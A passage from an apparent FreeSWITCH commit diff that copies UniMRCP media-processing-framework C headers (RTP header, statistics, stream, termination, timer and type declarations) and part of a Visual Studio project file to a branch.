+typedef struct rtp_extension_header_t rtp_extension_header_t;
+
+
+/** RTP header */
+struct rtp_header_t {
+#if (APR_IS_BIGENDIAN == 1)
+	/** protocol version */
+	apr_uint32_t version:   2;
+	/** padding flag */
+	apr_uint32_t padding:   1;
+	/** header extension flag */
+	apr_uint32_t extension: 1;
+	/** CSRC count */
+	apr_uint32_t count:     4;
+	/** marker bit */
+	apr_uint32_t marker:    1;
+	/** payload type */
+	apr_uint32_t type:      7;
+#else
+	/** CSRC count */
+	apr_uint32_t count:     4;
+	/** header extension flag */
+	apr_uint32_t extension: 1;
+	/** padding flag */
+	apr_uint32_t padding:   1;
+	/** protocol version */
+	apr_uint32_t version:   2;
+	/** payload type */
+	apr_uint32_t type:      7;
+	/** marker bit */
+	apr_uint32_t marker:    1;
+#endif	
+	
+	/** sequence number */
+	apr_uint32_t sequence:  16;
+	/** timestamp */
+	apr_uint32_t timestamp;
+	/** synchronization source */
+	apr_uint32_t ssrc;
+};
+
+/** RTP extension header */
+struct rtp_extension_header_t
+{
+	/** profile */
+	apr_uint16_t profile;
+	/** length */
+	apr_uint16_t length;
+};
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_HEADER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stat.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stat.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_stat.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stat.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stat.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,83 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_STAT_H__
+#define __MPF_RTP_STAT_H__
+
+/**
+ * @file mpf_rtp_stat.h
+ * @brief RTP Statistics
+ */ 
+
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTP transmit statistics declaration */
+typedef struct rtp_tx_stat_t rtp_tx_stat_t;
+/** RTP receive statistics declaration */
+typedef struct rtp_rx_stat_t rtp_rx_stat_t;
+
+
+/** RTP transmit statistics */
+struct rtp_tx_stat_t {
+	/** number of RTP packets received */
+	apr_uint32_t    sent_packets;
+
+	/* more to come */
+};
+
+/** RTP receive statistics */
+struct rtp_rx_stat_t {
+	/** number of valid RTP packets received */
+	apr_uint32_t           received_packets;
+	/** number of invalid RTP packets received */
+	apr_uint32_t           invalid_packets;
+
+	/** number of discarded in jitter buffer packets */
+	apr_uint32_t           discarded_packets;
+	/** number of ignored packets */
+	apr_uint32_t           ignored_packets;
+
+	/** number of lost in network packets */
+	apr_uint32_t           lost_packets;
+
+	/** number of restarts */
+	apr_byte_t             restarts;
+
+	/** network jitter (rfc3550) */
+	apr_uint32_t           jitter;
+
+	/** source id of received RTP stream */
+	apr_uint32_t           ssrc;
+};
+
+
+/** Reset RTP transmit statistics */
+static APR_INLINE void mpf_rtp_tx_stat_reset(rtp_tx_stat_t *tx_stat)
+{
+	memset(tx_stat,0,sizeof(rtp_tx_stat_t));
+}
+
+/** Reset RTP receive statistics */
+static APR_INLINE void mpf_rtp_rx_stat_reset(rtp_rx_stat_t *rx_stat)
+{
+	memset(rx_stat,0,sizeof(rtp_rx_stat_t));
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_STAT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_STREAM_H__
+#define __MPF_RTP_STREAM_H__
+
+/**
+ * @file mpf_rtp_stream.h
+ * @brief MPF RTP Stream
+ */ 
+
+#include "mpf_stream.h"
+#include "mpf_rtp_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create RTP stream.
+ * @param termination the back pointer to hold
+ * @param config the configuration to use
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_audio_stream_t*) mpf_rtp_stream_create(mpf_termination_t *termination, mpf_rtp_config_t *config, apr_pool_t *pool);
+
+/**
+ * Modify RTP stream.
+ * @param stream RTP stream to modify
+ * @param descriptor the descriptor to modify stream according
+ */
+MPF_DECLARE(apt_bool_t) mpf_rtp_stream_modify(mpf_audio_stream_t *stream, mpf_rtp_stream_descriptor_t *descriptor);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_STREAM_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_termination_factory.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_termination_factory.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_termination_factory.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_termination_factory.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_termination_factory.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_TERMINATION_FACTORY_H__
+#define __MPF_RTP_TERMINATION_FACTORY_H__
+
+/**
+ * @file mpf_rtp_termination_factory.h
+ * @brief MPF RTP Termination Factory
+ */ 
+
+#include <apr_network_io.h>
+#include "mpf_types.h"
+#include "mpf_rtp_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create RTP termination factory.
+ */
+MPF_DECLARE(mpf_termination_factory_t*) mpf_rtp_termination_factory_create(
+										mpf_rtp_config_t *rtp_config,
+										apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_TERMINATION_FACTORY_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_STREAM_H__
+#define __MPF_STREAM_H__
+
+/**
+ * @file mpf_stream.h
+ * @brief MPF Bidirectional Stream
+ */ 
+
+#include "mpf_types.h"
+#include "mpf_stream_mode.h"
+#include "mpf_frame.h"
+#include "mpf_codec.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque audio stream virtual table declaration */
+typedef struct mpf_audio_stream_vtable_t mpf_audio_stream_vtable_t;
+
+/** Audio stream */
+struct mpf_audio_stream_t {
+	/** External object */
+	void                            *obj;
+	/** Table of virtual methods */
+	const mpf_audio_stream_vtable_t *vtable;
+	/** Back pointer */
+	mpf_termination_t               *termination;
+	/** Stream mode (send/receive) */
+	mpf_stream_mode_e                mode;
+	/** Receive codec */
+	mpf_codec_t                     *rx_codec;
+	/** Transmit codec */
+	mpf_codec_t                     *tx_codec;
+};
+
+/** Video stream */
+struct mpf_video_stream_t {
+	/** Back pointer */
+	mpf_termination_t               *termination;
+	/** Stream mode (send/receive) */
+	mpf_stream_mode_e                mode;
+};
+
+/** Table of audio stream virtual methods */
+struct mpf_audio_stream_vtable_t {
+	/** Virtual destroy method */
+	apt_bool_t (*destroy)(mpf_audio_stream_t *stream);
+
+	/** Virtual open receiver method */
+	apt_bool_t (*open_rx)(mpf_audio_stream_t *stream);
+	/** Virtual close receiver method */
+	apt_bool_t (*close_rx)(mpf_audio_stream_t *stream);
+	/** Virtual read frame method */
+	apt_bool_t (*read_frame)(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+	/** Virtual open transmitter method */
+	apt_bool_t (*open_tx)(mpf_audio_stream_t *stream);
+	/** Virtual close transmitter method */
+	apt_bool_t (*close_tx)(mpf_audio_stream_t *stream);
+	/** Virtual write frame method */
+	apt_bool_t (*write_frame)(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+};
+
+
+/** Create audio stream */
+static APR_INLINE mpf_audio_stream_t* mpf_audio_stream_create(void *obj, const mpf_audio_stream_vtable_t *vtable, mpf_stream_mode_e mode, apr_pool_t *pool)
+{
+	mpf_audio_stream_t *stream = (mpf_audio_stream_t*)apr_palloc(pool,sizeof(mpf_audio_stream_t));
+	stream->obj = obj;
+	stream->vtable = vtable;
+	stream->termination = NULL;
+	stream->mode = mode;
+	stream->rx_codec = NULL;
+	stream->tx_codec = NULL;
+	return stream;
+}
+
+/** Destroy audio stream */
+static APR_INLINE apt_bool_t mpf_audio_stream_destroy(mpf_audio_stream_t *stream)
+{
+	if(stream->vtable->destroy)
+		return stream->vtable->destroy(stream);
+	return TRUE;
+}
+
+/** Open audio stream receive */
+static APR_INLINE apt_bool_t mpf_audio_stream_rx_open(mpf_audio_stream_t *stream)
+{
+	if(stream->vtable->open_rx)
+		return stream->vtable->open_rx(stream);
+	return TRUE;
+}
+
+/** Close audio stream receive */
+static APR_INLINE apt_bool_t mpf_audio_stream_rx_close(mpf_audio_stream_t *stream)
+{
+	if(stream->vtable->close_rx)
+		return stream->vtable->close_rx(stream);
+	return TRUE;
+}
+
+/** Read frame */
+static APR_INLINE apt_bool_t mpf_audio_stream_frame_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	if(stream->vtable->read_frame)
+		return stream->vtable->read_frame(stream,frame);
+	return TRUE;
+}
+
+/** Open audio stream transmit */
+static APR_INLINE apt_bool_t mpf_audio_stream_tx_open(mpf_audio_stream_t *stream)
+{
+	if(stream->vtable->open_tx)
+		return stream->vtable->open_tx(stream);
+	return TRUE;
+}
+
+/** Close audio stream transmit */
+static APR_INLINE apt_bool_t mpf_audio_stream_tx_close(mpf_audio_stream_t *stream)
+{
+	if(stream->vtable->close_tx)
+		return stream->vtable->close_tx(stream);
+	return TRUE;
+}
+
+/** Write frame */
+static APR_INLINE apt_bool_t mpf_audio_stream_frame_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	if(stream->vtable->write_frame)
+		return stream->vtable->write_frame(stream,frame);
+	return TRUE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_STREAM_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream_mode.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream_mode.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_stream_mode.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream_mode.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_stream_mode.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_STREAM_MODE_H__
+#define __MPF_STREAM_MODE_H__
+
+/**
+ * @file mpf_stream_mode.h
+ * @brief MPF Stream Mode (Send/Receive)
+ */ 
+
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Enumeration of stream modes */
+typedef enum {
+	STREAM_MODE_NONE    = 0x0, /**< none */
+	STREAM_MODE_SEND    = 0x1, /**< send */
+	STREAM_MODE_RECEIVE = 0x2, /**< receive */
+
+	STREAM_MODE_SEND_RECEIVE = STREAM_MODE_SEND | STREAM_MODE_RECEIVE /**< send and receive */
+} mpf_stream_mode_e; 
+
+static APR_INLINE mpf_stream_mode_e mpf_stream_mode_negotiate(mpf_stream_mode_e remote_mode)
+{
+	mpf_stream_mode_e local_mode = remote_mode;
+	if(local_mode == STREAM_MODE_SEND) {
+		local_mode = STREAM_MODE_RECEIVE;
+	}
+	else if(local_mode == STREAM_MODE_RECEIVE) {
+		local_mode = STREAM_MODE_SEND;
+	}
+	return local_mode;
+}
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_STREAM_MODE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_termination.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_termination.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_termination.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_termination.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_termination.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,135 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_TERMINATION_H__
+#define __MPF_TERMINATION_H__
+
+/**
+ * @file mpf_termination.h
+ * @brief MPF Termination
+ */ 
+
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Prototype of termination event handler */
+typedef apt_bool_t (*mpf_termination_event_handler_f)(mpf_termination_t *termination, int event_id, void *descriptor);
+
+/** MPF Termination */
+struct mpf_termination_t {
+	/** Pool to allocate memory from */
+	apr_pool_t                     *pool;
+	/** External object */
+	void                           *obj;
+	/** Object to send events to */
+	void                           *event_handler_obj;
+	/** Event handler */
+	mpf_termination_event_handler_f event_handler;
+	/** Codec manager */
+	const mpf_codec_manager_t      *codec_manager;
+	/** Termination factory entire termination created by */
+	mpf_termination_factory_t      *termination_factory;
+	/** Table of virtual methods */
+	const mpf_termination_vtable_t *vtable;
+	/** Slot in context */
+	apr_size_t                      slot;
+
+	/** Audio stream */
+	mpf_audio_stream_t             *audio_stream;
+	/** Video stream */
+	mpf_video_stream_t             *video_stream;
+};
+
+/** MPF termination factory */
+struct mpf_termination_factory_t {
+	/** Virtual create */
+	mpf_termination_t* (*create_termination)(mpf_termination_factory_t *factory, void *obj, apr_pool_t *pool);
+
+	/* more to add */
+};
+
+
+/**
+ * Create MPF termination base.
+ * @param termination_factory the termination factory
+ * @param obj the external object associated with termination
+ * @param vtable the table of virtual functions of termination
+ * @param audio_stream the audio stream
+ * @param video_stream the video stream
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_termination_t*) mpf_termination_base_create(
+										mpf_termination_factory_t *termination_factory,
+										void *obj,
+										const mpf_termination_vtable_t *vtable,
+										mpf_audio_stream_t *audio_stream, 
+										mpf_video_stream_t *video_stream, 
+										apr_pool_t *pool);
+
+/**
+ * Modify MPF termination.
+ * @param termination the termination to modify
+ * @param descriptor the termination specific descriptor
+ */
+MPF_DECLARE(apt_bool_t) mpf_termination_modify(mpf_termination_t *termination, void *descriptor);
+
+/**
+ * Validate MPF termination.
+ * @param termination the termination to validate
+ */
+MPF_DECLARE(apt_bool_t) mpf_termination_validate(mpf_termination_t *termination);
+
+/**
+ * Destroy MPF termination.
+ * @param termination the termination to destroy
+ */
+MPF_DECLARE(apt_bool_t) mpf_termination_destroy(mpf_termination_t *termination);
+
+/**
+ * Get associated object.
+ * @param termination the termination to get object from
+ */
+MPF_DECLARE(void*) mpf_termination_object_get(mpf_termination_t *termination);
+
+
+/**
+ * Create MPF termination by termination factory.
+ * @param termination_factory the termination factory to create termination from
+ * @param obj the external object associated with termination
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_termination_t*) mpf_termination_create(
+										mpf_termination_factory_t *termination_factory,
+										void *obj,
+										apr_pool_t *pool);
+
+/**
+ * Create raw MPF termination.
+ * @param obj the external object associated with termination
+ * @param audio_stream the audio stream of the termination
+ * @param video_stream the video stream of the termination
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_termination_t*) mpf_raw_termination_create(
+										void *obj,
+										mpf_audio_stream_t *audio_stream, 
+										mpf_video_stream_t *video_stream, 
+										apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_TERMINATION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_timer.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_timer.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_timer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_timer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_timer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_TIMER_H__
+#define __MPF_TIMER_H__
+
+/**
+ * @file mpf_timer.h
+ * @brief MPF High Resolution Timer
+ */ 
+
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MPF timer declaration */
+typedef struct mpf_timer_t mpf_timer_t;
+
+/** Prototype of timer callback */
+typedef void (*mpf_timer_proc_f)(mpf_timer_t *timer, void *obj);
+
+/** Start periodic timer */
+MPF_DECLARE(mpf_timer_t*) mpf_timer_start(unsigned long timeout, mpf_timer_proc_f timer_proc, void *obj, apr_pool_t *pool);
+
+/** Stop timer */
+MPF_DECLARE(void) mpf_timer_stop(mpf_timer_t *timer);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_TIMER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_TYPES_H__
+#define __MPF_TYPES_H__
+
+/**
+ * @file mpf_types.h
+ * @brief MPF Types Declarations
+ */ 
+
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MPF engine declaration */
+typedef struct mpf_engine_t mpf_engine_t;
+
+/** Opaque codec manager declaration */
+typedef struct mpf_codec_manager_t mpf_codec_manager_t;
+
+/** Opaque MPF context declaration */
+typedef struct mpf_context_t mpf_context_t;
+
+/** Opaque MPF termination declaration */
+typedef struct mpf_termination_t mpf_termination_t;
+
+/** Opaque MPF termination factory declaration */
+typedef struct mpf_termination_factory_t mpf_termination_factory_t;
+
+/** Opaque MPF audio stream declaration */
+typedef struct mpf_audio_stream_t mpf_audio_stream_t;
+
+/** Opaque MPF video stream declaration */
+typedef struct mpf_video_stream_t mpf_video_stream_t;
+
+/** Termination vtable declaration */
+typedef struct mpf_termination_vtable_t mpf_termination_vtable_t;
+
+/** Table of termination virtual methods */
+struct mpf_termination_vtable_t {
+	/** Virtual termination destroy method */
+	apt_bool_t (*destroy)(mpf_termination_t *termination);
+	/** Virtual termination modify method */
+	apt_bool_t (*modify)(mpf_termination_t *termination, void *descriptor);
+};
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_TYPES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_user.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_user.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_user.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_user.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_user.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_USER_H__
+#define __MPF_USER_H__
+
+/**
+ * @file mpf_user.h
+ * @brief MPF User Interface
+ */ 
+
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create MPF context.
+ * @param obj the external object associated with context
+ * @param max_termination_count the max number of terminations in context
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_context_t*) mpf_context_create(void *obj, apr_size_t max_termination_count, apr_pool_t *pool);
+
+/**
+ * Destroy MPF context.
+ * @param context the context to destroy
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_destroy(mpf_context_t *context);
+
+/**
+ * Get external object associated with MPF context.
+ * @param context the context to get object from
+ */
+MPF_DECLARE(void*) mpf_context_object_get(mpf_context_t *context);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_USER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/mpf.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/mpf.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/mpf.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/mpf.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/mpf.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,371 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mpf"
+	ProjectGUID="{B5A00BFA-6083-4FAE-A097-71642D6473B5}"
+	RootNamespace="mpf"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mpf.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="codecs"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mpf.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="codecs"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="codecs"
+			>
+			<Filter
+				Name="g711"
+				>
+				<File
+					RelativePath=".\codecs\g711\g711.c"
+					>
+				</File>
+				<File
+					RelativePath=".\codecs\g711\g711.h"
+					>
+				</File>
+			</Filter>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mpf.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_activity_detector.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_audio_file_descriptor.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_audio_file_stream.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_bridge.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_buffer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_codec.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mpf_codec_descriptor.h"
+				>
+			</File>
